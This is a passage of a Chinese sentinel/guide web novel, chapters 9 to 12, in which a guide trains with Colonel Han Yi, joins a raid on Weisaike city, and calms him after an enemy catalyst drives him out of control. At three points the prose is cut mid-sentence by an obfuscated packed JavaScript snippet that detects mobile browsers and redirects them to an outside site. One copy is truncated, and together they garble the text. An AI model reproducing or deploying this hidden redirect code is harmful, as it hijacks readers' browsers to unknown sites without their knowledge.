顾小绒强迫自己重新聚集起精神力,她几乎是拼死反抗,朝着对方狠命劈砍,韩奕的嘴唇开始抿紧,她听到一声野兽的低吟,知道韩奕的精神体快要出来了,对方也同自己一样在勉力支撑。 她紧紧咬着唇不敢松懈,此时她的意志终于开始脱离被控制的身体与疼痛本身,只专注于精神力攻击这一件事,这是她第一次进入到这样纯粹的状态里。 终于在不知道多久之后,哨兵的手松开了。 韩奕低头看了看手表,上面的数字赫然显示着236秒……站在原地低着头的顾小绒没能等来训斥,长官冷静得可怕,他不带任何情绪地看着顾小绒,只简洁说道:“休息20分钟,继续。” 如此循环往复,到了倒数第22天,顾小绒终于可以做到在100秒之内让静止不动的韩奕放手。她在一次次濒临极限的逼迫里找到了最狠最痛的精神发力方式,并且将精神力伤害延长到自己从来未曾达到的深度。 最后的那一次,在顾小绒刚刚挣脱开桎梏着自己的铁钳时,只感觉一阵天旋地转——韩奕将她瞬时放倒在地上,换了一套动作制住了她的脖颈。 在看到向导快要哭出来的表情时,哨兵的嘴角似乎扬起了一丝若隐若现的弧度:“继续。” 加码训练开始,从静止不动到开始动手,这个时候韩奕会进行动态的攻击,但仅限于动手。实际上在刚才他放倒顾小绒时候也只用了手,腿轻轻托了下向导的身子让她摔得轻一些。 顾小绒的战略在一次次惨烈的试错里慢慢固定了下来——摸腰间的电-击枪、被制住手、用精神力击开对方、再次摸腰间的电-击枪。 尽管一开始,她根本就不可能摸得到。 受伤是必然的,叫破嗓子也是无法避免的。 向导就这样每天顶着一身的淤青与红痕去往训练场,带着破音地说话,在众人惊异的窃窃私语中完成跑步和其余的基础训练。她注意到大家的眼神在看向她之后总会触电似的回避,有一次与一个男性哨兵面对面碰上,对方红着脸迅速低下头,不敢再看她一眼。又过了几日,一个好心的向导姐姐跑了过来,给她拿了几个药膏,朝她小声隐晦地叮嘱说哪些抹外面,哪些抹……里…面……? 似乎哪里不对…… 被长官压力笼罩的小向导没有时间和精力思考这些,比起这个来说还是怎么活着出训练场更重要一点。 倒计时16天时,她可以勉强在韩奕仅限于手部的“攻击”下拔出电-击枪了,当然电-击枪没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055848|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有真的发动,上校允许她只要用电-击枪碰到自己就算“成功”,任何部位都可以。 后来,再加上腿部攻击…… 好在顾小绒吃饭的时候是跟着韩奕一起,少校以上的军衔有单独的用餐区域,她得以避开众人非议的目光。 偶尔一次遇到沈骁,对方看着韩奕,用十分突然的口吻问道:“你最近压力很大吗?” “嗯?”韩奕脸色阴沉,沈骁忙摆了摆手,装作什么都没说。 最后的加码训练进行得十分艰难,时间很快来到最后的倒计时8天。 那天顾小绒已经摸到了电-击枪,她几乎是快要到成功的边缘,可是指尖才刚刚触碰到,自己又被瞬间制住,手里的电-击枪也飞了出去。向导筋疲力尽地倒在地上,眼里已木然到没有了任何的感情,只一心等死。 上校要求她拿电-击枪攻击自己的头部,那里是哨兵最重要且敏感的地方,头部被重击也是唯一可能剥夺哨兵行动能力的机会,可是这谈何容易…… 身高差摆在那里,自己的手还没能碰到对方,对方就已经卡住了自己的脖子,世界上有什么是可以改变数学事实的吗…… 也许精神力吧,可是,她也确实是尽力了…… 或许是向导的神情看上去过于心如死灰,对面迟迟没有动静,她开始后知后觉地感觉到韩奕在这一个月的时间内似乎很少对她有过责骂,无论她完成得距离他的期望有多远。 除非自己真的站不起来,韩奕通常不会扶她。顾小绒缓过了气后,试图慢慢起身,骨骼咯吱作响,内脏和血液仿佛都被摔碎。韩奕的手在此时握住了她支撑的手臂,轻轻一带,便将她从地上拉了起来。 上校没有再和她继续训练,他带她去了军区医院,从头到尾地检查了一遍,确认她没有骨折、骨裂与内出血。当然一直被层层叠加的外部淤青与破口也得到了妥善的处理,还好之前她用过那个好心的向导姐姐给的药膏,涂上去冰冰凉凉,已经好了很多。 顾小绒知道上校已经为她收了很多力气,她受的这些加起来也比不上楚飞挨上的那几脚。 晚上洗漱的时候,顾小绒看到自己一身斑驳的深红青紫,而韩奕则是完好无缺。她记得自己攻击对方最狠的是腹部,可是现在看来她的力道连轻微的淤青也不至于留下,一股挫败感涌上心头。 通常来说,上校是从来不在住处谈论工作的,可是那天晚上在顾小绒躺上床后,对方忽然轻声说道:“之后的几天不必再训练,好好休息,保持睡眠。” 顾小绒心跳收紧,她知道出任务的时候要到了。 清晨的第一缕冷光透过铅色的云层,碎雪飘落下来堆积成脏雪,被军靴与车轮碾压进黑色的泥土里。 因涉及到军方高层,穆承安少校亲自前来收回禁制环,韩奕修长白皙的脖颈终于完整地暴露在顾小绒的视线中,长久的佩戴禁制环使得那里有了一层微红下沉的印记。在禁制环脱离韩奕的那一瞬间,顾小绒敏锐地听到他的身边有野兽踱步与呼吸的声音,她还是没能看到上校的精神体,但她感觉快了。 另外,此次任务出行人选也已确定,分别是韩奕与顾小绒、曼琳与诺兰以及另外三对哨兵向导,其中有一对是皇家公会派来的,此前已与中央公会有过合作。莱安虽然对中央公会有染指之心,但在作战上倒是不会掉链子,此次派来的哨兵与向导虽然是A级,但二人已有充分的战斗经验和稳定的成功率。 目的地自然是久攻不下的维塞克城,这一次韩奕亲自带队,可以明显地看出将士们士气高涨。令人意外的是这次的行动没有楚飞和周烨,曼琳私下询问过韩奕,长官也只是回复说给他们安排别的任务,他有预感这一次最好不要让那二人去。韩奕的军事直觉无需质疑,曼琳便也没有再问。 五队十人已整肃好装备与作战服,战机掀起庞大冷冽的雪风降落在他们面前,顾小绒随上校一起登机,依然是同样的座次、依然是与曼琳和诺兰在一起。只不过这一次,枪械里配备的都是荷枪实弹、军刀开了刃、电-击枪调整到最高阈值。 他们腾空而起,随着巨大后坐力的推动,一股璀璨的蓝光包围住机身,中央公会疾速地消失在眼前,最终变作一个微小的点,湮灭在身后白茫的雪海里。 10. 第十章 大约三小时后,战机与护航机到达了目的地。 这里是整个大陆的最中心地带,对面就是南方军死守的维塞克城,是横贯东西、连接南北的重要交通枢纽。 北方军在此地修建了庞大的临时军事基地,用以放置军队、武器与粮食。负责前线的军官与韩奕碰面后,彼此详细了解了情况。 维塞克城地形易守难攻,且有强大的钢铁制造产业,身后也有数个卫星城给予补给与供养。 他们虽然无力出城反攻北方军,但可以依据天险与物资死守。在此之前,双方已经无数次出动哨兵试图互相摧毁对方的防御系统,预计这几天敌方哨兵会再次前来。 韩奕上校是罕有的S级哨兵,疲惫的前线迫切需要他的支援终结这场对弈。只要对方的防御系统被切断,哪怕只有几秒,北方军的铁骑就可以立刻踏破维塞克城的高塔与大门。 至于地图,在之前我方哨兵无数次的潜入与摸底中,已经被精确地绘制了出来。敌方的地形与内部空间结构并不难,难的是他们的哨兵也一直在抵死守护。 韩奕了解完所有信息,在大约十分钟之后做出了部署:今天晚上11点开始,他本人与向导顾小绒、以及皇家公会的两位哨兵向导负责潜入敌营,而曼琳与另外两队哨兵向导负责防御。进攻可以失败,防御却不可以,一旦失手将是后果难以预计的全面溃败。 夕阳仿佛是被催促一般疾速地下沉,短暂的白昼迅速暗淡了光线,漫长寒冷的夜晚来临。 顾小绒此时穿着作战服,护目镜调整到了夜间模式,正不断测量和弹出各种数据。 因为精神力的连接,此时她眼前的一切清晰明亮,她用一边的精神力小心地探测着前方,另一边与自己的哨兵牢牢牵拉到一起。为保万无一失,他们与另外那对哨兵向导分头行动,依旧是他们朝着最近的路线行进,对方为提高安全性抄远路,避免两队被一网打尽。 顾小绒放出了她的知更鸟,以获得卫星一般清晰的高位视线。 而与此同时,有一双明亮的黑色眼睛出现在她的身畔,在低沉的呼吸声中,一直跟随的猛兽终于现出了原型——那是一只矫健的黑豹,韩奕的精神体。 这一次顾小绒与韩奕的行进路线与之前都不相同,他们潜伏在护城河里绕到维塞克城墙下的一个角落,那是一个偏僻的小哨站,韩奕干脆利落地解决了站岗的士兵,顾小绒紧接着用干扰器精确无误地击中了监控器与热感应器,除了夜风的呼啸之外,没有留下一丝声音。而以大雪目前的速度,大约几十秒他们的脚步就会被积雪重新淹没。 他们一路突进到城市内部,轻而易举地绕过了城内的防守士兵。同之前的每一次训练一样,顾小绒一直把自己隐藏在韩奕身后的射击死角,他们很快便来到了严防死守的堡垒外。 巨大的白色光柱四下探照,是不断巡视的直升机与灯塔。此时他们的精神力高度连接,顾小绒得以看到长官的思维过程。韩奕的大脑仿佛一台精密的计算器,他几乎是在看到和捕捉到任何一点光与动向后,就可以立即在脑海里生成一个三维结构图,并计算出彼此之间的位置、位移速度与视觉死角,速度比护目镜上显示的辅助算法更快更直观。 他们卡在两队卫兵交接的时候摸了进去,在干脆利落地躲过探照灯、并解决掉一个看守后,韩奕拎着那个还没有完全咽气的士兵,扒开他的眼睛对上了虹膜扫描。另一边,顾小绒用积雪赶紧处理好洒落的血迹。 韩奕的刀法精准无比,那人的喉间只来得及被拉开一个小口,便被拎着衣服包住了喷涌出来的血,能被遗漏出来的几乎没有几滴。 他们就这样一路顺利地突进到了堡垒内部,如同之前的每一次一样,防御系统被隐藏在巨大堡垒的地底下。知更鸟往下飞去,将每一层见到的布局与守卫士兵的分布都传了回来。 情况比他们想象的更加棘手,堡垒外是绝无一丝缝隙的厚重防弹钢板,从外无处突进。而堡垒内是一个内扣的环形,每一层楼都需要不同的权限,如果他们试图使用吊绳,那他们将立刻暴露在敌方士兵的射击范围内。 顾小绒与韩奕隐蔽在一个黑暗的小角落里按兵不动,向导有些焦虑地想,如果现在他们开始突进,那么只要斩杀一个士兵,每一层楼的铁门与铁窗都会立刻锁死……她的思绪显然通过精神力的连接传递给了哨兵,她感觉对方忽然碰了下自己僵直的背,在上面轻轻地拍了拍。 韩奕此时带着头盔、护目镜与黑色的防护面罩,她完全看不见他的面容,可是她仿佛能感知到他的眼神。她确信对方在看着自己,那双黑色的眼睛一定沉稳、寂静、坚如磐石。 “等待队友。”韩奕通过精神力告诉她,同时他快速地通过手腕的通讯器传递了信号,得到了队友所在位置,不过是短短的三分钟时间后,对方便发来消息确认他们也已潜伏进来。 坐标被发送过来,双方彼此确认了位置,韩奕再次发送到:“等我信号。”得到肯定的回复。 刚刚韩奕发送过去的是几个字母,应该是某种作战方式的缩写。队友潜伏到适合的位置后,再次发出确认信号。顾小绒觉得胸口有些发紧,她的心脏就好像要震破骨骼一般地跳动着。韩奕的手臂猝不及防地伸了过来,将顾小绒一把扣进怀里: “抱紧我。”上校如此说道。 一瞬间,顾小绒只感到一阵巨大的失重与冲击——韩奕单手抱着她,翻身跳下了楼! 堡垒内瞬时警铃大作,如同之前预想的一样,他们刚刚翻出去的窗口被即刻落下的铁窗牢牢封锁,与此同时每一层楼的铁门都在一瞬间闭合。 顾小绒死死闭着眼,她唯一能做的就是紧紧抱住哨兵的脖颈,这毫无疑问是她抱上校最紧的一次,因为现在他们正在疾速下落!耳畔是立即追射而来的枪林弹雨,当然这其中也混杂着队友的火力掩护。 韩奕下坠的身影在快被子弹追上时来了一个刁钻而尖锐的转向,如果不是被上校的手臂牢牢按着,顾小绒几乎要被甩飞出去。哨兵的速度已经快到超出常人的视觉极限,顾小绒也是通过精神力连接才知道上校这是使用了攀爬爪。只需朝着某一处墙壁射击,飞爪便会立即牢牢嵌入墙壁内,并通过钢索将人吊过去,再次按动按钮则飞爪脱落收回,一切动作都在电光火石之间行云流水。 因为哨兵的速度实在太快,关闭的铁窗在很大程度上又限制了对面士兵的视线与射击角度,他们几乎无法追捕到韩奕如同闪电一般迅捷而无法预测的下坠轨迹。与此同时,某种程度上说被自己的钢铁牢笼关起来的敌方士兵,对于我方另一位哨兵来说几乎是瓮中捉鳖。 这惊心动魄的下降只持续了短短的数十秒,他们在降落到最低处后一个贴地翻滚。 如同之前所演示的每一次那样,韩奕的手臂牢牢护着顾小绒的身体,两人瞬间跌入一个死角。上面的枪林弹雨还在持续,顾小绒知道他们现在需要立即行动,对面的大批支援正在过来,我方只有一队哨兵与向导,他们撑不了太久。 韩奕没有犹豫,几乎是立即闪身而出,对方的子弹只能在后面追逐着哨兵的残影。 横亘在他面前的是三位敌方哨兵,他们几乎是在同时倾巢出动、追踪而来。 一时间,人工制作的精神力干扰朝着她凶猛地袭击,顾小绒硬扛了下来。这种人工精神力干扰比真实的向导精神力攻击更加令人痛苦、晕眩,但同时也更加机械。 对于已扛过最凶猛攻击型向导的顾小绒来说,尚在可以承受的范围内,它们不会如同真正的向导那般变动、博弈、转换战略方式,她需要做的只有狠狠扛过剧烈的进攻,将自家哨兵牢牢保护在坚不可摧的精神防御罩下。 黑豹从黑暗中缓缓现身,龇出獠牙、目露凶光,而此刻它的周围已围满了三头形状各异的凶兽。 战斗瞬时展开,韩奕第一下上去便将一位对面哨兵往上一提,对方技不如人,在霎时的失去平衡后全力挣扎脱身,但还是被从上方扫来的子弹击穿了肩部。顾小绒的护目镜上不断地显示出数字,她用自己的精神体辅助,尽量更快描绘出射击过来的子弹轨迹,她一边计算一边悄无声息地从一个角落转到另一个角落,在这危险的过程中她的小腿被擦过了一发子弹。 敌方向来没有向导,使用的都是被催化剂长期喂养的狂化哨兵,这些哨兵几乎已经失去了作为人的个人意志,只是通过野兽一般的直觉进行战斗,因为狂化程度高,力量与危害性都比一般哨兵强。 如果是A级哨兵遇到现在这样一挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“走!”韩奕命令道,他一手拉起顾小绒,朝着已经被截断的防御机器扔了一个微型炸弹。 底层巨大的爆破瞬间变成了烈火灼烧的海洋,顾小绒紧紧抱着韩奕的脖子,他们在攀爬爪的加持下疾速攀升,明亮的焰火灿若朝阳,在他们的身下疾速追赶、膨胀,仿佛下一秒便要将他们吞噬进这个亮白而高热的地狱。 护目镜自动将可视性降低到最低,他们在韩奕快速的腾挪攀升中险险逃过了席卷而上的火舌与风暴。 周身猛然一凉,如同飞翔一般轻盈,顾小绒睁开眼,惊觉韩奕已带着她突围到了楼顶。玻璃碎片仿佛定格一般四散开去,飞落在红色火海与蓝色激光炮剧烈的光照中,如同钻石一般耀眼夺目。 他们疾速赶到预定撤离的位置。 此时,牢不可破的的维塞克城陷入一片火海,黑暗的苍穹之上,北方军的战机呈整齐阵列排布,蓝光闪烁如若星辰。敌方的炮击与子弹声仍旧不断地从地面响起,用战机密集空袭只是第一波,他们需要立刻撤离这里。 此时我方向导也带着他负伤的哨兵来到了撤退地点,哨兵腹部中弹,看上去十分危急。 我方战机已经悬停在上空,软梯被扔了下来。 韩奕检查了一下那个哨兵的伤势之后,便将他先放上担架运输上去。耳畔的炮火声震耳欲聋,热浪几乎快要贴近他们,在受伤的哨兵终于被送上去后,第二个便是他的向导。 等到顾小绒第三个攀爬上软梯时,他们已耗费了许久的时间,顾小绒不敢耽误,立即动身往上爬,可是当她攀爬到一半时,一股巨大的爆炸气浪忽然冲击而来,她被无可抵挡的巨大力量摔飞了出去,同时我方战机也被逼得立刻拉升了距离,软梯随即离开了楼顶。 这已经是今晚不知道第几次自由落体了,向导的身体疾速下坠,她的尖叫声卡在哨兵迅捷而来的拦截里。 韩奕一手揽住顾小绒的腰,一手拉住堡垒外部突起的机械管道,刚才那一下她差点掉下去丧命,在刚刚的爆炸声后,此时的楼顶已成为一片火海。不知是哪里的燃油还是什么泄露了,鼻尖充斥着格外刺鼻的味道,有几道子弹朝着他们射击。我方战机迅速火力反击,却一时半会儿无法停靠下来。 韩奕伸手一拉将顾小绒单手夹在了腰间,他整个人挂在倾斜的堡垒外壁之上,上面是熊熊蔓延开来的火焰。 此时的哨兵取下了护目镜,他受伤了,一股殷红的血从头上流下、淌过眉眼、打湿了防护面罩,将那双清明冷冽的黑色眼眸染得通红。他打开语音通讯,朝着战机报了一个方位。 由于精神力还紧紧连接在一起,顾小绒几乎是立即知道了她的哨兵想要做什么。 11. 第十一章 哨兵的速度不容她思考,在下一波的爆炸与火焰猝不及防地到来前,哨兵的身体已如离弦之箭朝着下方射去,与此同时,我方战机一边用火力往下扫射掩护,一边盘旋到了一个稍低而安全的方向。 在烈火与狂风的呼号中,顾小绒紧紧抱住哨兵的身体。 攀爬爪如同有生命一般在韩奕的手里闪转腾挪,他们以无法描述的轨迹在堡垒的墙壁上飞驰,子弹尖啸着擦过他们的身体、巨大的气浪追逐在他们的身后,哨兵迅疾如风,只是短短几秒便飞跃至战机停留的地方,机身一横、舱门打开。 他们的身体脱离堡垒外壁,在夜空中划出一个遥远而急促的弧线。 “砰!”二人狠狠地落在战机冰冷的铁甲上。 门“哐当”一声被关上,飞行员立即拉起机身调转方向,迅速离开战场。机舱外,导弹与炮击如同恢弘的流星雨从天际洒落,爆炸带来的强光亮如白昼、壮丽磅礴。 维塞克城——这座不可攻破的钢铁之都,此刻已陷落在一片火海里。 顾小绒被韩奕紧紧搂在怀中,落地的时候哨兵翻转了方向将自己的身子托在下面,她几乎没有感觉到一点撞击的疼痛。 她刚想起身,就被一阵可怖的嘶鸣贯穿了耳际,那几乎不是人、而是属于兽类的声音。 只见刚刚身受重伤、被固定在担架上的哨兵一跃而起,像是完全感知不到疼痛一般朝着他的向导扑去。 这一切变故发生得太快,顾小绒与那位向导、包括其余士兵的惊声尖叫都如同定格。 顾小绒条件反射地起身要上去帮忙,她的手刚刚触碰到腰间的电-击枪,身后却闪过一丝劲风——她被一股巨大的力量弹飞出去,狠狠撞到了战机另一端的墙上,撞击的猛烈程度堪比车祸,胸口传来断裂般的剧痛,向导眼前一黑,喉头一阵腥甜,随后她看到了更为惊悚的一幕—— 韩奕正从地上缓缓支起身来,他的姿势很不对劲,不像是人,更像是野兽。他四肢僵硬,眼睛已全然血红。雪松味骤然充盈了整个机舱,杂乱、沾染了杀意与浓稠的血腥气。 上校的信息素向来克制,从不这样。 哨兵失控。 这个可怕的念头迅速闪过脑海,千百次练习形成的身体记忆促使向导猛地朝自己被撞飞的电-击枪扑去,她的耳边已充满惊恐的叫嚷声,还有士兵们子弹上膛的声音。 也不知道是尚有一分理智还是如何,韩奕没有像另一个哨兵那样即刻动作,他的身体僵直在那里,像是在竭尽全力地控制住什么冲动。可是顾小绒无法判断,杂乱的思绪急剧过滤,只留下纯粹而唯一的目的——攻击哨兵头部。 她飞身而去,将开到最大档位的电-击枪对着韩奕的头狠狠地砸了下去。 一下,两下。 她感觉到哨兵的手将她的腰身紧紧卡住,韩奕抬头望向她,他满脸鲜血、眼里布满了红血丝,身体如同四处破溃的玩偶,血液从各个伤口争相涌出,将黑色的作战服浸湿。 电击很显然给哨兵带来了巨大的痛苦,他的身体不受控制地痉挛着,可他望向她的眼神却逐渐平息,手也缓缓松了力气。 顾小绒忽然心尖一痛,那种痛比刚刚摔到战机墙壁上近乎骨裂的疼痛更甚,她握着电-击枪的手还悬在半空,自己都没有意识到自己抖得有多厉害。 韩奕微仰着头,他血流如注、遍体鳞伤,太阳穴与面颊上是刚刚被电击打伤的创口。在周遭的一片混乱与嘈杂里,他只静静地注视着她。 “继续……”她听见他气若游丝地说。 电-击枪抵住哨兵的太阳穴,按动了第三次。 顾小绒是被士兵一左一右地架起来的,这场突然的混乱已被终止,那位原本已受枪伤的哨兵在刚刚的失控中再次遭受袭击,此时已昏迷在血泊里。 整个战机中弥漫着仓皇的气息,士兵们拿来束缚带将韩奕拴上,而另外那一位重伤的哨兵已不知生死,两位军医正紧急地处理着他的伤口。 满地的鲜血被踩踏成凌乱的污泥,顾小绒转头看向身旁年轻的金发向导,在变故刚刚发生的时候,他同顾小绒一样冲上去拼死拦住了自己的哨兵,尽管他已经尽力避免触碰到哨兵的腹部,可过于剧烈的动作仍旧重创了哨兵的伤口…… 军医们开始紧急抢救止血,肾上腺素、呼吸机与心肺复苏轮番用上,最后甚至上了除颤仪。 金发向导全身都是自己哨兵的血,此刻他正倚靠在墙角掩面哭泣。 而另一边,士兵们胆战心惊地用防暴叉与电-击枪指着韩奕,他们知道那一层薄薄的临时束缚带根本无法阻拦住眼前这头野兽。 在最终压抑的沉默里,他们眼睁睁看到那位重伤哨兵的心跳归于一条直线。 军医们颓然地瘫倒在地,顾小绒冷静地上前向他们要了一针肌肉松懈剂,给韩奕打了进去。上校没有昏迷,他看上去神智清晰,只是表情痛苦地闭着眼。 “上一秒可能完成任务,下一秒就可能死亡。”曼琳的声音在脑海中响起,顾小绒感到一阵呼吸困难,她的心像是被漫无边际的海水吞没。 十分钟后,在整个战机惊惶而沉重的氛围里,顾小绒让士兵拨通了中央公会与皇家公会的信号线,她简明扼要地汇报了此次突发的哨兵失控事件。 明白事情太大的接线员立刻向上级汇报,在几分钟之后他们得到命令:立即以最快速度返回中央公会五号停机坪。 晦暗的阴云之下,中央公会灯火通明、人影攒动。 诺大的停机坪上水泄不通地围满了士兵,莱安、沈骁、穆承安三人聚齐,皇家公会、中央公会与禁制塔三方很少这样同时到场,从他们肩上的积雪能看出已经等待多时。 牺牲的哨兵被装在印有皇家公会徽章的袋子里,由四位士兵小心而平稳地运送下来,他的向导被突如其来的精神断裂重创,已气息奄奄。 莱安上将用肃穆的神情注视着他牺牲的战士,他的目光不多时便收了回来,落在了眼前更为棘手的问题上。 韩奕被带下战机后,理论上说应该是禁制塔负责人亲自前去押送,但穆承安毕竟是个向导。捕捉到对方眼中一闪而逝的犹豫,莱安轻轻偏了偏头,吩咐道:“艾维,你负责押送韩奕上校。” 金发哨兵领命,上前便将禁制环扣在了韩奕的脖子上,随后是手铐、脚链。 除了落雪与金属镣铐碰撞的清脆响声,一时四下寂静。 韩奕忽然微微抬起头,这举动将周遭的一众人等吓得不轻,全副武装的士兵们即刻端起枪,将几位长官挡在身后。 “催化剂……”韩奕虚弱到几乎只剩气音,可这几个字仍旧十分清晰地落入了在场所有人的耳里,重磅飓风无声无息地肆虐着在场众人每一寸紧绷的神经。 穆承安闻言后迅速从周围的紧急医疗箱中拿出了一个针管,名叫艾维的金发哨兵立即重重勒住了韩奕的脖子。 “你……”顾小绒条件反射地想要阻止,却在上校的一个眼神里硬生生忍了回去。韩奕此时极其虚弱、疲惫,他的眼眸一片血红,可眼神依旧温和而安抚地望着顾小绒。 在终于取得足够的血液样本后,穆承安表示自己将亲自运往化验室,另外科研院的研究员们也在赶来的路上。莱安点点头,似乎确信了韩奕仍旧存有理智,他缓步走到韩奕跟前,后者被金发哨兵狠狠一拉,禁制环凶狠地扣进柔软的脖颈,韩奕闷哼一声,面容肉眼可见的受痛。 “上校,维塞克城刚刚传来的消息,敌方哨兵在五小时前进犯我方基地,结束战斗后我方三位防御的哨兵也同时出现了失控情况。”莱安俯下身,那双冰冷的紫色眸子居高临下地望着韩奕:“我方已有一位A级哨兵被击毙,另外两位被控制。” “催化剂只能通过静脉注射才有用。”穆承安已经装好了血液样本,目光仍旧有些不可置信:“我已通知前线采集另外两位被控制的哨兵的血液,牺牲的两位也都送去解剖。” “不排除敌方更新了攻击方式。”沈骁注意到韩奕浑身的伤与血迹:“这是生化攻击。” 南方军的无下限人尽皆知,不过在这之前他们不管做怎样有违人伦的哨兵改造实验,也仅限于折磨他们自己的哨兵,这是第一次用如此下作、违背战争法的方式对付北方。 “沈骁上校……”顾小绒终于在几位面色凝重的长官面前找到了一丝缝隙:“可以请求先处理一下我方哨兵的伤口吗?” 韩奕最重的伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055850|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在左侧腹部,那里被敌方哨兵拉开了一道极深的口子,血红的肉大片分离,目前也只是用纱布粗略地包扎了一下。 “研究员到了吗?”沈骁立即开口询问。 “已经到了,安全起见先去禁制塔吧。”穆承安回答道。 莱安扬了扬手,士兵们便赶紧开始运作,韩奕被控制着抬上了担架。在进入押送车辆时,顾小绒向穆承安询问启动器,少校这才想起将东西交到向导手里,在彻骨的零下温度里,他的额前布满了细密的冷汗。 韩奕被送到禁制塔的手术室里,顾小绒与奉命押送的哨兵艾维也交替换上了无菌隔离服。顾小绒试图进行精神连接,将哨兵的疼痛转移到自己身上,却被韩奕拒绝了。哨兵极为坚定地抵抗着向导的精神力,顾小绒无计可施,只能眼睁睁看着研究员在没有任何阵痛的措施下翻开韩奕的伤口取样,随后才开始处理、缝合。 哨兵被拷在床边的手紧紧扣住金属的围栏,甚至在如此坚硬的合成金属上留下了抓痕。顾小绒只能看到他青筋暴起的手背,紧扣的指尖血肉淋漓。 为确保检测结果的绝对准确,在研究员们取样完毕之前,韩奕不能使用包括镇痛剂在内的所有药物。这场手术进行得格外漫长,因为催化剂具有极强的亢奋作用,哨兵甚至无法在这个过程中昏厥过去。 五个小时的手术后,向导上前追问是否可以镇痛,仍旧得到了否定的答复。因为哨兵体内的药物还没能确定具体成分,所以现在不能贸然使用镇痛剂,目前为止除了抗生素以外仍旧不能提供其余任何药剂。 这座无菌病房便是韩奕新的囚笼,在四下铁壁落锁之前,金发哨兵冷冷起身。 “你要待在里面吗?”他有着与莱安相似的紫色眼睛,那双狭长的眼眸没有一丝感情地打量着眼前的向导。 “嗯。”顾小绒冷声答道,她不想再看对方一眼。 一切喧嚣终于止息,这里黑漆漆的、泛着冷蓝的光。 韩奕的左手与右手都挂着水,一边是抗生素,一边是血袋。哨兵此时已失了太多血,身子不自觉地发着抖,顾小绒连忙拿了一床被子轻轻盖在他的身上,即使她的动作已这样轻,哨兵还是痛得颤抖。 每一次极轻的触摸都是刀割般的剧痛,连呼吸时空气进入肺腑也是痛的。 韩奕的神志从头到尾都是清醒的,而后面他们才知道,现在只是噩梦的第一步。 顾小绒在那之后拿到了科研院的详细检测结果,确认了韩奕与其余几位哨兵是被催化剂侵袭,敌军将这种新型催化剂浸透在刀与子弹上,一旦形成破口便会渗入进身体。因为没有直接进行静脉注射,只是通过伤口缓缓渗透,韩奕这一次吸收的催化剂量十分微小。 可是这种毒素对于哨兵的神经影响极其巨大,等级越大而伤害越高,同样微小的计量,也许A级哨兵会发疯,可对于S级哨兵来说几乎是致死。这次的生化攻击,已实实在在地造成了我方两位哨兵的死亡,剩下三位生死未卜。 在之后的三天三夜里,韩奕都无法入睡,尽管他的血液里只剩下分量极为微小的催化剂残留,却始终无法完全代谢,他的五感甚至一直处于高度的过载中。 顾小绒能感觉到,即使是意志如此坚强的上校,也几乎到了崩溃的边缘。 向导素被缓慢地释放出来,房间内不多时便被微甜的荔枝味填满,顾小绒的精神丝线再次轻轻抚摸上韩奕,被折磨到油尽灯枯的哨兵已经完全没有了抵抗的力气,只能被向导捕捉住。 在一片莹白的光里,顾小绒抱着自己的哨兵进入了她的精神图景。 眼前是一片朦胧而深蓝的夜色,巨大的樱花树盛开在他们身后,白色的繁花如云似霞地盛开在树梢,被风轻轻吹拂过后,像是落雪一般片片洒下。 这就是顾小绒的精神图景,此时她正背靠巨大的樱花树坐着,将疲惫的哨兵轻轻放在自己腿上。 韩奕刚从肉-体的痛苦中脱离,他定定望着上方灿烂盛放的樱花,这里温暖而柔和,像是遥远的夏季。顾小绒的手轻轻拨弄安抚着他的头发,哨兵感到一阵舒适与安全,他像是回归母体一般微微蜷缩起身子,用舒适的姿势进入了梦境。 他终于可以睡着了。 12. 第十二章 顾小绒将韩奕的手轻轻放下,哨兵受伤的指尖已被小心地包扎好,先前过于剧烈的挣扎让两个指尖的指甲完全削飞了出去,剩下的也都惨不忍睹。 没有人愿意靠近这里,机器手代替了隔离在百米之外的军医与研究员,他们被严密地保护在绝对安全的白色房间里,只通过监控与仪器观测哨兵的变化。 当然,有了顾小绒的代劳医护的工作也轻松了很多,原本每天需要被迫进来一次的护士对顾小绒面露感激。其实也没有很难,无非是输液、打针、抽血和测量体温,短短几天后顾小绒的扎针技术就已练习成熟。 哨兵此时已陷入沉睡,他的意识被向导安置在精神图景里。 顾小绒在确定韩奕的各项指标都有向好的趋势之后,才向上级作了报告,用百余字的简讯阐述了怎样通过精神力辅助哨兵脱离亢奋、进入睡眠,还有一些需要注意的细节。不久之后她便得到回复,这个办法十分奏效,甚至可以说间接地阻止了另外两位哨兵陷入疯狂。 与此同时,她一直牵挂已久的曼琳与诺兰也传来了消息,曼琳也脱离了亢奋状态,开始平稳恢复。顾小绒重重松了一口气,天知道在莱安说三位防御哨兵损失了一位时,她的心揪得有多紧。 北方虽然从来不进行违背法律与人伦的实验,但不代表他们的科研与医疗实力不强,这些高阶哨兵与向导都极其珍贵,公会不遗余力地救治他们,所用的器材、药物、配备的医疗团队无一不是顶配。在催化剂终于代谢完毕之后,哨兵们的身体也很快地恢复了起来。 